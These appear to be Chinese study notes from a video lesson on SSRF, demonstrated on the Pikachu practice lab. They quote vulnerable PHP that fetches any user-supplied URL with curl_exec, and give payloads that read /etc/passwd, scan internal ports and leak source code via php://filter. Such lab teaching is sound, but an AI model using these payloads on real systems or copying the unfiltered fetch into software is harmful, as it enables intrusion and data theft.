49.10-3 ssrf漏洞原理和案例实验演示(Av96582332,P49)
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
你可以根据"SSRF"里面的项目来搞懂问题的原因
//payload:
//file:///etc/passwd 读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
curf页面
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_curl.php
点诗句
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
是因为改了端口 ,加上它(默认是80不写)
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:4431/pikachu/vul/ssrf/ssrf_info/info1.php
改成百度
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.1.15:22
探测机器22号端口是否开启,对同一个内网的服务器探测扫描,获取内网资源,从而进一步攻击(ssrf打内网)
在PHP中,curl_exec方法除了http,还支持很多其他协议,前面写了有
FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
ssrf_fgc.php写了
//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
在这个页面
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
(也要加端口号,才能显示诗句)
base64编码读同步目录下的源代码
127.0.0.1:4431/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
解密就是源码